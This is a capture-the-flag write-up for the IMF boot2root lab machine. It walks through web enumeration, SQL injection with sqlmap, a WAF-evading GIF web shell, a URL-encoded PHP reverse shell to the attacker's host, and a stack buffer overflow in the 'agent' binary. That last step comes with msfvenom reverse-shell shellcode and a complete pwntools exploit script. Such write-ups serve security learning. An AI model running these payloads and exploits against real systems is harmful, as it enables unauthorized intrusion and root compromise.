IMF is a boot2root mcahine that contains many flags. After each flag, the difficulty is increased. This machine starts with web and ends with a buffer overflow.
Nmap scan shows that on port 80 an Apache webserver is running.
$ sudo nmap -sSCV 172.16.115.128 -v
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-08 14:46 EDT
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 14:46
Completed NSE at 14:46, 0.00s elapsed
Initiating NSE at 14:46
Completed NSE at 14:46, 0.00s elapsed
Initiating NSE at 14:46
Completed NSE at 14:46, 0.00s elapsed
Initiating ARP Ping Scan at 14:46
Scanning 172.16.115.128 [1 port]
Completed ARP Ping Scan at 14:46, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:46
Completed Parallel DNS resolution of 1 host. at 14:46, 6.54s elapsed
Initiating SYN Stealth Scan at 14:46
Scanning 172.16.115.128 [1000 ports]
Discovered open port 80/tcp on 172.16.115.128
Completed SYN Stealth Scan at 14:46, 4.78s elapsed (1000 total ports)
Initiating Service scan at 14:46
Scanning 1 service on 172.16.115.128
Completed Service scan at 14:47, 6.08s elapsed (1 service on 1 host)
NSE: Script scanning 172.16.115.128.
Initiating NSE at 14:47
Completed NSE at 14:47, 5.02s elapsed
Initiating NSE at 14:47
Completed NSE at 14:47, 0.01s elapsed
Initiating NSE at 14:47
Completed NSE at 14:47, 0.00s elapsed
Nmap scan report for 172.16.115.128
Host is up (0.0010s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: IMF - Homepage
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 00:0C:29:11:B8:1D (VMware)
Visiting the page shows the following
On the Contact Us
page the first flag shows in the inspect element section.
flag1{YWxsdGhlZmlsZXM=}
This is base64 and decodes to allthefiles
With the hint from the first flag, I inspect the javascript files. There are 3 suspicious files. Especially one of them looks like base64 because of the ending ==
in the filename, since base64 strings often end with this for padding. Read this if you want an explanation why.
Combining these three strings togeher gives me the following string:
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
$ echo 'ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==' | base64 -d
flag2{aW1mYWRtaW5pc3RyYXRvcg==}
Decoding the flag gives the following:
imfadministrator
The hint from the last flag is an hidden endpoint to login.
Inspecting the page reveals the following comment
This leeds me to this article from Hacktricks about bypassing PHP comparisons.
What this tells us to do is change the name="pass"
field in the form to name="pass[]
.
Remember that on the service page /contant.php
on the main website there were some names shown.
The tool CeWL can be used to generate a wordlist.
$ cewl http://172.16.115.128/contact.php -d 4 -m 6 --lowercase -w names.wordlist
Then any tool can be used to try all the combinations, which are only 78.
$ wc -l names.wordlist
78 names.wordlist
After trying rmichaels
seemed to working and we are redirected to the page containing the flag.
The flag flag3{Y29udGludWVUT2Ntcw==}
decodes to continueTOcms
.
The dashboard we are redirected to when we click IMF CMS
contains a strange URL structure pagename=home
.
Putting a single quote '
there gives the following output
High chance that this contains a sql vulnerability. I spin up sqlmap , but don’t forget to get the php cookie uljlgrmgg3ut9jmfoikejsvrc0
from the devtools, since we need to be authenticated to see this page.
$ sqlmap -u "http://172.16.115.128/imfadministrator/cms.php?pagename=home" --dbms mysql --cookie "PHPSESSID=uljlgrmgg3ut9jmfoikejsvrc0" --dump
Sqlmap found a vulnerability and retrieves all the information. After looking around the database a bit I found the interesting part, which reveals another endpoint /tutorials-incomplete
(scroll to the right).
+----+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+
| id | pagedata | pagename |
+----+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+
| 1 | Under Construction. | upload |
| 2 | Welcome to the IMF Administration. | home |
| 3 | Training classrooms available.
Contact us for training. | tutorials-incomplete |
| 4 |
Disavowed List
- *********
- ****** ******
- *******
- **** ********
-Secretary | disavowlist |
+----+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------+
This page shows a QR code
Scanning the QR code gives the fourth flag flag4{dXBsb2Fkcjk0Mi5waHA=}
which decodes to uploadr942.php
At the /uploadr942.php
endpoint there is a upload form.
Trying to upload the default pentestmonkey PHP reverse shell gives an error invalid file type
.
After trying a couple different files, I found out that i can upload GIF images without any error. Now the next point is finding out where my uploaded GIF is stored. After a file is uploaded succesfully, the html on the page changes as can be seen in the two pictures below.
Before uploading:
After uploading a comment appears that seems to be the filename.
The file appears to be uploaded at /imfadministrator/uploads/8e1064d0df99.gif
.
Changing the php reverse shell to a gif extension phpshell.gif
, shows that a the WAF detects it and blocks the upload.
In order to restrict this I look for file signatures extensions that I can use to bypass this filter. I end up with the following script that is just a simple php web shell. \x73\x79\x73\x74\x65\x6d
is system
is hexadecimal, so it isn’t detected by the WAF.
$ cat php_shell.gif
GIF87a;
After uploading this file I successfully execute commands.
Now instead of the cmd commands I start a nc
listener on my host machine
$ nc -lnvp 4444
listening on [any] 4444 ...
And on the webpage I pass my reverse shell URL encoded.
Plain:
php -r '$sock=fsockopen("172.16.115.129",4444);exec("bash <&3 >&3 2>&3");'
URL encoded:
php%20-r%20%27%24sock%3Dfsockopen%28%22172.16.115.129%22%2C4444%29%3Bexec%28%22bash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27
Passing this in the URL gives the following final URL
http://172.16.115.128/imfadministrator/uploads/d595e1a66bdc.gif?cmd=php%20-r%20%27%24sock%3Dfsockopen%28%22172.16.115.129%22%2C4444%29%3Bexec%28%22bash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27
This successfully gives me a reverse shell, from where I also print flag 5.
$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [172.16.115.129] from (UNKNOWN) [172.16.115.128] 49224
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ls
cat flag5_abc123def.txt
flag5{YWdlbnRzZXJ2aWNlcw==}
Flag 5 decoded: agentservices
Before continuing I upgrade this awful shell to an interactive one using a python3 trick I will write another post about. With this interactive shell i can use CTR+C
, arrow keys and more.
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@imf:/var/www/html/imfadministrator/uploads$ ^Z
zsh: suspended nc -lnvp 4444
┌──(fabian㉿68616861)-[~/Documents/mike/IMF]
└─$ stty raw -echo;fg
[1] + continued nc -lnvp 4444
www-data@imf:/var/www/html/imfadministrator/uploads$
www-data@imf:/var/www/html/imfadministrator/uploads$
Running netstat -antp
shows a local port at 7788
.
www-data@imf:/var/www/html/imfadministrator/uploads$ netstat -antp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:7788 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 280 172.16.115.128:49224 172.16.115.129:4444 ESTABLISHED 1552/php
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 172.16.115.128:80 172.16.115.129:33826 ESTABLISHED -
Running cURL on the page gives the following output with Invalid Agent ID
www-data@imf:/var/www/html/imfadministrator/uploads$ curl 127.0.0.1:7788
___ __ __ ___
|_ _| \/ | __| Agent
| || |\/| | _| Reporting
|___|_| |_|_| System
Agent ID : Invalid Agent ID
Running whereis agent
, also from the hint, gives the following binary path.
www-data@imf:/var/www/html/imfadministrator/uploads$ whereis agent
agent: /usr/local/bin/agent
Running the binary, I can give input and it returns invalid agent ID
www-data@imf:/var/www/html/imfadministrator/uploads$ /usr/local/bin/agent
___ __ __ ___
|_ _| \/ | __| Agent
| || |\/| | _| Reporting
|___|_| |_|_| System
Agent ID : 555
Invalid Agent ID
Going to the location of the binary, there is another file called access_codes
.
www-data@imf:/usr/local/bin$ ls -la
total 24
drwxr-xr-x 2 root root 4096 Oct 16 2016 .
drwxr-xr-x 10 root root 4096 Sep 22 2016 ..
-rw-r--r-- 1 root root 19 Oct 16 2016 access_codes
-rwxr-xr-x 1 root root 11896 Oct 12 2016 agent
www-data@imf:/usr/local/bin$ cat access_codes
SYN 7482,8279,9467
this contains the following information
SYN 7482,8279,9467
. SYN is for a SYN request, probably a portknock.
$ knock 172.16.115.128 7482 8279 9467
After port knocking it, port
7788
is opened!
$ sudo nmap -sS -p 7788 172.16.115.128 -v
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-08 17:31 EDT
Initiating ARP Ping Scan at 17:31
Scanning 172.16.115.128 [1 port]
Completed ARP Ping Scan at 17:31, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 17:31
Completed Parallel DNS resolution of 1 host. at 17:31, 6.51s elapsed
Initiating SYN Stealth Scan at 17:31
Scanning 172.16.115.128 [1 port]
Discovered open port 7788/tcp on 172.16.115.128
Completed SYN Stealth Scan at 17:31, 0.02s elapsed (1 total ports)
Nmap scan report for 172.16.115.128
Host is up (0.00055s latency).
PORT STATE SERVICE
7788/tcp open unknown
MAC Address: 00:0C:29:11:B8:1D (VMware)
Now I can remotely connect with the binary
$ nc 172.16.115.128 7788
___ __ __ ___
|_ _| \/ | __| Agent
| || |\/| | _| Reporting
|___|_| |_|_| System
Agent ID :
To transfer the binary I use python uploadserver on my Kali machine.
$ python3 -m uploadserver
From the machine with the agent
binary I make the following curl request to transfer the binary to my Kali machine.
www-data@imf:/usr/local/bin$ curl -X POST http://172.16.115.129:8000/upload -F 'files=@agent'
Now I have the binary locally, so I can inspect it better using my favorite tools; checksec,
Ghidra and
GEF.
Checksec is used to check the binary security settings.
$ checksec agent
[*] '/home/fabian/Documents/mike/IMF/binary/agent'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Ghidra detects it as a x86 file.
Ghidra automatically loads us into the main function.
Changing the names of the important variables easily shows the logic. All we have to do is to get a 0
from the bool_strncmp
, that means the strings that are being compared are the same. In the strncmp
function, the first 8 characters of our_input
and local_28
are being compared against each other. our_input
contains our input from the fgets
functions. On line 16 asprintf
dynamically allocates memory for local_28
and format the ‘string’ 48093572
into that memory. So if we input 48093572
we should get into the main menu.
And yes, we validate successfully.
./agent
___ __ __ ___
|_ _| \/ | __| Agent
| || |\/| | _| Reporting
|___|_| |_|_| System
Agent ID : 48093572
Login Validated
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection:
Trying some options shows a zsh: segmentation fault
in menu option 3. Submit Report
.
$ ./agent 48093572
___ __ __ ___
|_ _| \/ | __| Agent
| || |\/| | _| Reporting
|___|_| |_|_| System
Agent ID : 48093572
Login Validated
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection: 3
Enter report update: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Report: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Submitted for review.
zsh: segmentation fault ./agent 48093572
In Ghidra we can also see the dangerous gets
function.
I start gef
to dynamically analyze the binary.
I first generate a pattern to be able to identify the exact offset.
gef➤ pattern create 200
[+] Generating a pattern of 200 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
[+] Saved as '$_gef0'
Running the binary and giving that as input to menu option 3, shows our eip
value.
Passing this back to gef
to calculate the offset
gef➤ pattern search 0x62616172
[+] Searching '0x62616172'
[+] Found at offset 168 (little-endian search) likely
Using python3 to generate a string to verify this offset of 168
$ python3
>>> print ('A'*168 + 'B'*4)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Passing that in menu option 3 shows exactly what we expect to see, namely our B
’s
Now it is time to add the shellcode. We can also see in the picture above that all our A
’s are in the eax
register. This means we just need to find a jmp eax
instruction which address we place instead of the B
’s to execute our shellcode. There is a call eax
at 0x8048563
Now I need to generate a reverse shell using mfsvenom
. Note the /x86
for the correct architecture. Also note the -b "\x00"
to make sure there are no null bytes in the shellcode.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.16.115.129 LPORT=6666 -f python -b "\x00"
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 12 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of python file: 479 bytes
buf = b""
buf += b"\xb8\xb2\x0c\x24\xae\xdb\xc7\xd9\x74\x24\xf4\x5b"
buf += b"\x29\xc9\xb1\x12\x31\x43\x12\x83\xc3\x04\x03\xf1"
buf += b"\x02\xc6\x5b\xc4\xc1\xf1\x47\x75\xb5\xae\xed\x7b"
buf += b"\xb0\xb0\x42\x1d\x0f\xb2\x30\xb8\x3f\x8c\xfb\xba"
buf += b"\x09\x8a\xfa\xd2\x25\x7c\x8e\xa3\x5e\x7f\x70\xb9"
buf += b"\x94\xf6\x91\x0d\xce\x58\x03\x3e\xbc\x5a\x2a\x21"
buf += b"\x0f\xdc\x7e\xc9\xfe\xf2\x0d\x61\x97\x23\xdd\x13"
buf += b"\x0e\xb5\xc2\x81\x83\x4c\xe5\x95\x2f\x82\x66"
I then wrote the following script to automate the exploit using pwntools.
#!/usr/bin/python3
import sys
import socket
from pwn import *
agentcode = b"48093572" # used to login
menuoption = b"3"
offset = 168 # offset we got and tested
eip = b"\x63\x85\x04\x08" #call eax address 0x08 04 85 63
#MSFvenom generated shellcode below
buf = b""
buf += b"\xbe\x86\x0e\x52\x42\xd9\xe8\xd9\x74\x24\xf4\x5d"
buf += b"\x31\xc9\xb1\x12\x31\x75\x12\x03\x75\x12\x83\x6b"
buf += b"\xf2\xb0\xb7\x42\xd0\xc2\xdb\xf7\xa5\x7f\x76\xf5"
buf += b"\xa0\x61\x36\x9f\x7f\xe1\xa4\x06\x30\xdd\x07\x38"
buf += b"\x79\x5b\x61\x50\xd6\x8b\xe2\x21\x4e\xae\x04\x3b"
buf += b"\x85\x27\xe5\x8b\xff\x67\xb7\xb8\x4c\x84\xbe\xdf"
buf += b"\x7e\x0b\x92\x77\xef\x23\x60\xef\x87\x14\xa9\x8d"
buf += b"\x3e\xe2\x56\x03\x92\x7d\x79\x13\x1f\xb3\xfa"
payload = buf + b"\x90" * (offset - len(buf)) + eip
try:
conn = remote('172.16.115.128', 7788)
conn.recvuntil(b':')
conn.sendline(agentcode)
conn.recvuntil(b'selection:')
conn.sendline(menuoption)
conn.recvuntil(b'update:')
#overflow code
conn.sendline(payload)
conn.recvall()
print("Finished")
except Exception as e:
print(f"Error {e}")
Running the script successfully gives root and the final flag can be printed.
$ nc -lnvp 6666
listening on [any] 6666 ...
connect to [172.16.115.129] from (UNKNOWN) [172.16.115.128] 42278
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls
Flag.txt
TheEnd.txt
cat Flag.txt
flag6{R2gwc3RQcm90MGMwbHM=}
And final flag, flag6 can be decoded to Gh0stProt0c0ls
.